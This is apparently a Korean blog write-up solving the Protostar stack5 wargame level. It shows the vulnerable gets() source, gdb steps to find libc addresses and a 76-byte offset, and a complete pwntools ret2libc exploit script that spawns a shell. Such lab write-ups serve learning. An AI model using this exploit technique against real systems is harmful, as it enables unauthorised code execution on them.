시스템 해킹

Protostack - stack 5 를 stack6 방법으로 해결하기

taktaks 2024. 5. 19. 06:09
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

protostar - stack 5의 소스코드이다.

 

stack 6방법을 통하여 stack 5 테스트 exploit코드를 파이썬으로 작성

 

#!stack5.py

from pwn import *


system = p32(시스템주소 넣기)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(bin_sh주소넣기)

offset = 위치넣기

payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

p = process(['stack5'])
p.sendline(payload)
p.interactive()

 

exploit 코드를 대략 작성

 

 

 

gdb ./stack5

b *main

run

 

 

disas system

print system

 

system 주소를 찾는다.

system = 0xf7c4c910

 

 

find /bin/sh

 

/bin/sh 주소=0xf7db5faa

 

 

이제 오프셋 위치를 확인한다.

 

 

disas main

pattern create 100

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

 

b *main+22

run

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

 

 

pattern offset 76

offset 위치를 확인

offset = 76

 

#!stack5.py

from pwn import *


system = p32(0xf7c4c910)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7db5faa)

offset = 76

payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

p = process(['stack5'])
p.sendline(payload)
p.interactive()


 

system = 0xf7c4c910

/bin/sh 주소=0xf7db5faa

offset = 76

최종 exploit 코드를 작성한다!

 

python3 stack5_exploit2.py

 

protostar stack 5의 두번쨰 방법에 성공하였다!